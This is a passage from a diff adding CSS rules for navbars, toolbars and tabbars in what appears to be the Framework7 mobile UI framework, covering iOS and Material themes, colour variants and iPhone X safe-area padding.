0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .navbar.no-shadow:after { + display: none; +} +.md .navbar a { + color: inherit; +} +.md .navbar a.link { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; + min-width: 48px; + height: 56px; + line-height: 56px; +} +.md .navbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .navbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .navbar a.icon-only { + min-width: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .navbar .title { + margin: 0 16px; + line-height: 1.2; + text-align: left; +} +.md .navbar .subtitle { + line-height: 1.2; + font-size: 14px; + font-weight: normal; + color: rgba(255, 255, 255, 0.85); +} +.md .navbar .right { + margin-left: auto; +} +.md .navbar .right:first-child { + right: 16px; +} +.md .navbar-inner { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + overflow: hidden; +} +.md .page-with-subnavbar .navbar-inner { + overflow: visible; +} +.md .navbar ~ * .page-content, +.md .navbar ~ .page-content { + padding-top: 56px; +} +@media (min-width: 768px) { + .md .navbar { + height: 64px; + } + .md .navbar a.link { + height: 64px; + line-height: 64px; + } + .md .navbar ~ * .page-content, + .md .navbar ~ .page-content { + padding-top: 64px; + } +} +.md .navbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .navbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.md .navbar-hidden:after { + display: none; +} +.md .color-theme-red .navbar, +.md .color-theme-red.navbar { + background: #f44336; +} +.md .color-theme-green .navbar, +.md .color-theme-green.navbar { + background: #4caf50; +} +.md .color-theme-blue .navbar, +.md .color-theme-blue.navbar { + background: #2196f3; +} +.md .color-theme-pink .navbar, +.md .color-theme-pink.navbar { + background: #e91e63; +} +.md .color-theme-yellow .navbar, +.md .color-theme-yellow.navbar { + background: #ffeb3b; +} +.md .color-theme-orange .navbar, +.md .color-theme-orange.navbar { + background: #ff9800; +} +.md .color-theme-gray .navbar, +.md .color-theme-gray.navbar { + background: #9e9e9e; +} +.md .color-theme-white .navbar, +.md .color-theme-white.navbar { + background: #ffffff; +} +.md .color-theme-black .navbar, +.md .color-theme-black.navbar { + background: #000000; +} +.md .navbar.color-red { + background: #f44336; +} +.md .navbar.color-green { + background: #4caf50; +} +.md .navbar.color-blue { + background: #2196f3; +} +.md .navbar.color-pink { + background: #e91e63; +} +.md .navbar.color-yellow { + background: #ffeb3b; +} +.md .navbar.color-orange { + background: #ff9800; +} +.md .navbar.color-gray { + background: #9e9e9e; +} +.md .navbar.color-white { + background: #ffffff; +} +.md .navbar.color-black { + background: #000000; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .navbar-inner, + .md.device-iphone-x .ios-edges .navbar-inner, + .md.device-iphone-x .popup .navbar-inner, + .md.device-iphone-x .sheet-modal .navbar-inner, + .md.device-iphone-x .panel-left .navbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge .navbar-inner, + .md.device-iphone-x .ios-edges .navbar-inner, + .md.device-iphone-x .popup .navbar-inner, + .md.device-iphone-x .sheet-modal .navbar-inner, + .md.device-iphone-x .panel-right .navbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +/* === Toolbar === */ +.toolbar { + width: 100%; + position: relative; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + left: 0; +} +.toolbar b { + font-weight: 500; +} +.toolbar a { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + white-space: nowrap; + text-overflow: ellipsis; +} +.toolbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.toolbar i.icon { + display: block; +} +.toolbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.views > .tabbar, +.views > .tabbar-labels { + z-index: 5001; +} +.tabbar a.link, +.tabbar-labels a.link { + line-height: 1.4; +} +.tabbar a.tab-link, +.tabbar-labels a.tab-link, +.tabbar a.link, +.tabbar-labels a.link { + height: 100%; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.tabbar-labels a.tab-link, +.tabbar-labels a.link { + height: 100%; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.tabbar-labels a.tab-link .tabbar-label, +.tabbar-labels a.link .tabbar-label { + display: block; + line-height: 1; + margin: 0; + position: relative; + text-overflow: ellipsis; + white-space: nowrap; +} +.tabbar-scrollable .toolbar-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.tabbar-scrollable .toolbar-inner::-webkit-scrollbar { + display: none !important; + width: 0 !important; + height: 0 !important; + -webkit-appearance: none; + opacity: 0 !important; +} +.tabbar-scrollable a.tab-link, +.tabbar-scrollable a.link { + width: auto; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.views > .toolbar, +.view > .toolbar, +.page > .toolbar { + position: absolute; +} +.ios .toolbar { + height: 44px; + font-size: 17px; + background: #f7f7f8; + bottom: 0; +} +.ios .toolbar:after { + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.ios .toolbar a.link { + line-height: 44px; + height: 44px; +} +.ios .toolbar a.link i + span, +.ios .toolbar a.link i + i, +.ios .toolbar a.link span + i, +.ios .toolbar a.link span + span { + margin-left: 7px; +} +.ios .toolbar a.icon-only { + min-height: 44px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 0; + min-width: 44px; +} +.ios .toolbar b { + font-weight: 600; +} +.ios .toolbar.no-hairline:before { + display: none !important; +} +.ios .toolbar:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .toolbar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .toolbar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .toolbar-inner { + padding: 0 8px; +} +.ios .tabbar, +.ios .tabbar-labels { + color: #929292; +} +.ios .tabbar a, +.ios .tabbar-labels a { + color: #929292; +} +.ios .tabbar a.tab-link-active, +.ios .tabbar-labels a.tab-link-active { + color: #007aff; +} +.ios .tabbar i.icon, +.ios .tabbar-labels i.icon { + height: 30px; +} +.ios .tabbar-labels { + height: 50px; +} +.ios .tabbar-labels a.tab-link, +.ios .tabbar-labels a.link { + padding-top: 4px; + padding-bottom: 4px; +} +.ios .tabbar-labels a.tab-link i + span, +.ios .tabbar-labels a.link i + span { + margin: 0; +} +.ios .tabbar-labels .tabbar-label { + letter-spacing: 0.01em; + font-size: 10px; +} +@media (min-width: 768px) { + .ios .tabbar .toolbar-inner, + .ios .tabbar-labels .toolbar-inner { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + } + .ios .tabbar a.tab-link, + .ios .tabbar-labels a.tab-link, + .ios .tabbar a.link, + .ios .tabbar-labels a.link { + width: auto; + min-width: 105px; + } + .ios .tabbar-labels { + height: 56px; + } + .ios .tabbar-labels .tabbar-label { + font-size: 14px; + } +} +.ios .tabbar-scrollable .toolbar-inner { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .tabbar-scrollable a.tab-link, +.ios .tabbar-scrollable a.link { + padding: 0 8px; +} +.ios .toolbar ~ * .page-content, +.ios .toolbar ~ .page-content { + padding-bottom: 44px; +} +.ios .tabbar-labels ~ * .page-content, +.ios .tabbar-labels ~ .page-content { + padding-bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ * .page-content, + .ios .tabbar-labels ~ .page-content { + padding-bottom: 56px; + } +} +.ios .toolbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .toolbar-hidden { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.ios .theme-dark .toolbar, +.toolbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .toolbar:before, +.toolbar.ios .theme-dark:before { + background-color: #282829; +} +.ios .color-theme-red .tabbar a.tab-link-active, +.ios .color-theme-red .tabbar-labels a.tab-link-active, +.ios .color-theme-red.tabbar-labels a.tab-link-active, +.ios .color-theme-red.tabbar a.tab-link-active { + color: #ff3b30; +} +.ios .color-theme-green .tabbar a.tab-link-active, +.ios .color-theme-green .tabbar-labels a.tab-link-active, +.ios .color-theme-green.tabbar-labels a.tab-link-active, +.ios .color-theme-green.tabbar a.tab-link-active { + color: #4cd964; +} +.ios .color-theme-blue .tabbar a.tab-link-active, +.ios .color-theme-blue .tabbar-labels a.tab-link-active, +.ios .color-theme-blue.tabbar-labels a.tab-link-active, +.ios .color-theme-blue.tabbar a.tab-link-active { + color: #007aff; +} +.ios .color-theme-pink .tabbar a.tab-link-active, +.ios .color-theme-pink .tabbar-labels a.tab-link-active, +.ios .color-theme-pink.tabbar-labels a.tab-link-active, +.ios .color-theme-pink.tabbar a.tab-link-active { + color: #ff2d55; +} +.ios .color-theme-yellow .tabbar a.tab-link-active, +.ios .color-theme-yellow .tabbar-labels a.tab-link-active, +.ios .color-theme-yellow.tabbar-labels a.tab-link-active, +.ios .color-theme-yellow.tabbar a.tab-link-active { + color: #ffcc00; +} +.ios .color-theme-orange .tabbar a.tab-link-active, +.ios .color-theme-orange .tabbar-labels a.tab-link-active, +.ios .color-theme-orange.tabbar-labels a.tab-link-active, +.ios .color-theme-orange.tabbar a.tab-link-active { + color: #ff9500; +} +.ios .color-theme-gray .tabbar a.tab-link-active, +.ios .color-theme-gray .tabbar-labels a.tab-link-active, +.ios .color-theme-gray.tabbar-labels a.tab-link-active, +.ios .color-theme-gray.tabbar a.tab-link-active { + color: #8e8e93; +} +.ios .color-theme-white .tabbar a.tab-link-active, +.ios .color-theme-white .tabbar-labels a.tab-link-active, +.ios .color-theme-white.tabbar-labels a.tab-link-active, +.ios .color-theme-white.tabbar a.tab-link-active { + color: #ffffff; +} +.ios .color-theme-black .tabbar a.tab-link-active, +.ios .color-theme-black .tabbar-labels a.tab-link-active, +.ios .color-theme-black.tabbar-labels a.tab-link-active, +.ios .color-theme-black.tabbar a.tab-link-active { + color: #000000; +} +.ios .tabbar-labels.color-red a.tab-link-active, +.ios .tabbar.color-red a.tab-link-active { + color: #ff3b30; +} +.ios .tabbar-labels.color-green a.tab-link-active, +.ios .tabbar.color-green a.tab-link-active { + color: #4cd964; +} +.ios .tabbar-labels.color-blue a.tab-link-active, +.ios .tabbar.color-blue a.tab-link-active { + color: #007aff; +} +.ios .tabbar-labels.color-pink a.tab-link-active, +.ios .tabbar.color-pink a.tab-link-active { + color: #ff2d55; +} +.ios .tabbar-labels.color-yellow a.tab-link-active, +.ios .tabbar.color-yellow a.tab-link-active { + color: #ffcc00; +} +.ios .tabbar-labels.color-orange a.tab-link-active, +.ios .tabbar.color-orange a.tab-link-active { + color: #ff9500; +} +.ios .tabbar-labels.color-gray a.tab-link-active, +.ios .tabbar.color-gray a.tab-link-active { + color: #8e8e93; +} +.ios .tabbar-labels.color-white a.tab-link-active, +.ios .tabbar.color-white a.tab-link-active { + color: #ffffff; +} +.ios .tabbar-labels.color-black a.tab-link-active, +.ios .tabbar.color-black a.tab-link-active { + color: #000000; +} +.ios.device-iphone-x .views > .toolbar, +.ios.device-iphone-x .view > .toolbar, +.ios.device-iphone-x .page > .toolbar, +.ios.device-iphone-x .popup > .toolbar, +.ios.device-iphone-x .panel > .toolbar, +.ios.device-iphone-x .login-screen > .toolbar { + height: calc(44px + constant(safe-area-inset-bottom)); + height: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .views > .toolbar .toolbar-inner, +.ios.device-iphone-x .view > .toolbar .toolbar-inner, +.ios.device-iphone-x .page > .toolbar .toolbar-inner, +.ios.device-iphone-x .popup > .toolbar .toolbar-inner, +.ios.device-iphone-x .panel > .toolbar .toolbar-inner, +.ios.device-iphone-x .login-screen > .toolbar .toolbar-inner { + height: auto; + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .views > .tabbar-labels, +.ios.device-iphone-x .view > .tabbar-labels, +.ios.device-iphone-x .page > .tabbar-labels, +.ios.device-iphone-x .popup > .tabbar-labels, +.ios.device-iphone-x .panel > .tabbar-labels, +.ios.device-iphone-x .login-screen > .tabbar-labels { + height: calc(50px + constant(safe-area-inset-bottom)); + height: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .views > .tabbar-labels, + .ios.device-iphone-x .view > .tabbar-labels, + .ios.device-iphone-x .page > .tabbar-labels, + .ios.device-iphone-x .popup > .tabbar-labels, + .ios.device-iphone-x .panel > .tabbar-labels, + .ios.device-iphone-x .login-screen > .tabbar-labels { + height: calc(56px + constant(safe-area-inset-bottom)); + height: calc(56px + env(safe-area-inset-bottom)); + } +} +.ios.device-iphone-x .toolbar ~ * .page-content, +.ios.device-iphone-x .toolbar ~ .page-content { + padding-bottom: calc(44px + constant(safe-area-inset-bottom)); + padding-bottom: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .tabbar-labels ~ * .page-content, +.ios.device-iphone-x .tabbar-labels ~ .page-content { + padding-bottom: calc(50px + constant(safe-area-inset-bottom)); + padding-bottom: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .tabbar-labels ~ * .page-content, + .ios.device-iphone-x .tabbar-labels ~ .page-content { + padding-bottom: calc(56px + constant(safe-area-inset-bottom)); + padding-bottom: calc(56px + env(safe-area-inset-bottom)); + } +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .toolbar-inner, + .ios.device-iphone-x .ios-edges .toolbar-inner, + .ios.device-iphone-x .popup .toolbar-inner, + .ios.device-iphone-x .sheet-modal .toolbar-inner, + .ios.device-iphone-x .panel-left .toolbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .toolbar-inner, + .ios.device-iphone-x .ios-edges .toolbar-inner, + .ios.device-iphone-x .popup .toolbar-inner, + .ios.device-iphone-x .sheet-modal .toolbar-inner, + .ios.device-iphone-x .panel-right .toolbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +.md .toolbar { + background: #2196f3; + height: 48px; + color: #fff; + font-size: 14px; + top: 0; +} +.md .toolbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .toolbar.no-shadow:after { + display: none; +} +.md .toolbar a { + color: #fff; +} +.md .toolbar a.link { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; + min-width: 48px; + line-height: 48px; + height: 48px; +} +.md .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .toolbar a.link i + span, +.md .toolbar a.link i + i, +.md .toolbar a.link span + i, +.md .toolbar a.link span + span { + margin-left: 8px; +} +.md .toolbar a.icon-only { + min-width: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .toolbar-inner { + overflow: hidden; +} +.md .tabbar a.link, +.md .tabbar-labels a.link, +.md .tabbar a.tab-link, +.md .tabbar-labels a.tab-link { + padding-left: 0; + padding-right: 0; + font-size: 14px; + text-transform: uppercase; + font-weight: 500; + letter-spacing: 0.03em; +} +.md .tabbar i.icon, +.md .tabbar-labels i.icon { + height: 24px; +} +.md .tabbar a.tab-link, +.md .tabbar-labels a.tab-link { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + overflow: hidden; + color: rgba(255, 255, 255, 0.7); + position: relative; +} +.md .tabbar a.tab-link.tab-link-active, +.md .tabbar-labels a.tab-link.tab-link-active, +.md .tabbar a.tab-link.active-state, +.md .tabbar-labels a.tab-link.active-state { + color: #ffffff; +} +.md .tabbar .tab-link-highlight, +.md .tabbar-labels .tab-link-highlight { + position: absolute; + bottom: 0; + height: 2px; + background: #fff; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + left: 0; +} +.md .toolbar-bottom-md, +.md .messagebar { + top: auto !important; + bottom: 0 !important; +} +.md .toolbar-bottom-md:after, +.md .messagebar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + bottom: 100%; + height: 10px; + top: auto; + pointer-events: none; + background: -webkit-gradient(linear, left bottom, left top, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .toolbar-bottom-md .tab-link-highlight, +.md .messagebar .tab-link-highlight { + bottom: auto; + top: 0; +} +.md .tabbar-labels { + height: 72px; +} +.md .tabbar-labels a.tab-link, +.md .tabbar-labels a.link { + padding-top: 12px; + padding-bottom: 12px; +} +.md .tabbar-labels .tabbar-label { + margin-top: 10px; + max-width: 100%; + overflow: hidden; +} +.md .tabbar-labels.toolbar-bottom-md { + height: 56px; +} +.md .tabbar-labels.toolbar-bottom-md a.tab-link, +.md .tabbar-labels.toolbar-bottom-md a.link { + padding-top: 7px; + padding-bottom: 7px; +} +.md .tabbar-labels.toolbar-bottom-md .tabbar-label { + text-transform: none; + line-height: 1.2; + font-weight: normal; + letter-spacing: 0; +} +.md .tabbar-scrollable .toolbar-inner { + overflow: auto; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.md .tabbar-scrollable a.tab-link, +.md .tabbar-scrollable a.link { + padding: 0 16px; +} +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 48px; +} +.md .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, +.md .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 72px; +} +.md .toolbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.md .toolbar-hidden:after { + display: none; +} +.md .toolbar-hidden.toolbar-bottom-md, +.md .toolbar-hidden.messagebar { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) { + top: 56px; +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 104px; +} +.md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, +.md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 128px; +} +.md .navbar + .toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -104px, 0); + transform: translate3d(0, -104px, 0); +} +.md .navbar + .toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md) { + -webkit-transform: translate3d(0, -128px, 0); + transform: translate3d(0, -128px, 0); +} +.md .navbar.navbar-hidden + .toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden) { + -webkit-transform: translate3d(0, -56px, 0); + transform: translate3d(0, -56px, 0); +} +@media (min-width: 768px) { + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) { + top: 64px; + } + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 112px; + } + .md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, + .md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 136px; + } + .md .navbar.navbar-hidden + .toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden) { + -webkit-transform: translate3d(0, -64px, 0); + transform: translate3d(0, -64px, 0); + } + .md .navbar + .toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -112px, 0); + transform: translate3d(0, -112px, 0); + } + .md .navbar + .toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -136px, 0); + transform: translate3d(0, -136px, 0); + } +} +.md .toolbar-bottom-md ~ * .page-content, +.md .toolbar-bottom-md ~ .page-content, +.md .messagebar ~ * .page-content, +.md .messagebar ~ .page-content { + padding-bottom: 48px; +} +.md .toolbar-bottom-md.tabbar-labels ~ * .page-content, +.md .toolbar-bottom-md.tabbar-labels ~ .page-content { + padding-bottom: 56px; +} +.md .toolbar-transitioning, +.md .navbar-transitioning + .toolbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .color-theme-red .toolbar:not(.messagebar), +.md .color-theme-red.toolbar:not(.messagebar) { + background: #f44336; +} +.md .color-theme-green .toolbar:not(.messagebar), +.md .color-theme-green.toolbar:not(.messagebar) { + background: #4caf50; +} +.md .color-theme-blue .toolbar:not(.messagebar), +.md .color-theme-blue.toolbar:not(.messagebar) { + background: #2196f3; +} +.md .color-theme-pink .toolbar:not(.messagebar), +.md .color-theme-pink.toolbar:not(.messagebar) { + background: #e91e63; +} +.md .color-theme-yellow .toolbar:not(.messagebar), +.md .color-theme-yellow.toolbar:not(.messagebar) { + background: #ffeb3b; +} +.md .color-theme-orange .toolbar:not(.messagebar), +.md .color-theme-orange.toolbar:not(.messagebar) { + background: #ff9800; +} +.md .color-theme-gray .toolbar:not(.messagebar), +.md .color-theme-gray.toolbar:not(.messagebar) { + background: #9e9e9e; +} +.md .color-theme-white .toolbar:not(.messagebar), +.md .color-theme-white.toolbar:not(.messagebar) { + background: #ffffff; +} +.md .color-theme-black .toolbar:not(.messagebar), +.md .color-theme-black.toolbar:not(.messagebar) { + background: #000000; +} +.md .toolbar:not(.messagebar).color-red { + background: #f44336; +} +.md .toolbar:not(.messagebar).color-green { + background: #4caf50; +} +.md .toolbar:not(.messagebar).color-blue { + background: #2196f3; +} +.md .toolbar:not(.messagebar).color-pink { + background: #e91e63; +} +.md .toolbar:not(.messagebar).color-yellow { + background: #ffeb3b; +} +.md .toolbar:not(.messagebar).color-orange { + background: #ff9800; +} +.md .toolbar:not(.messagebar).color-gray { + background: #9e9e9e; +} +.md .toolbar:not(.messagebar).color-white { + background: #ffffff; +} +.md .toolbar:not(.messagebar).color-black { + background: #000000; +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) { + height: calc(48px + constant(safe-area-inset-top)); + height: calc(48px + env(safe-area-inset-top)); +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner { + height: auto; +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner { + bottom: 0; + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels { + height: calc(72px + constant(safe-area-inset-top)); + height: calc(72px + env(safe-area-inset-top)); +} +.md.device-iphone-x .views > .toolbar-bottom-md, +.md.device-iphone-x .view > .toolbar-bottom-md, +.md.device-iphone-x .page > .toolbar-bottom-md, +.md.device-iphone-x .popup > .toolbar-bottom-md, +.md.device-iphone-x .panel > .toolbar-bottom-md, +.md.device-iphone-x .login-screen > .toolbar-bottom-md { + height: calc(48px + constant(safe-area-inset-bottom)); + height: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .views > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .view > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .page > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .popup > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .panel 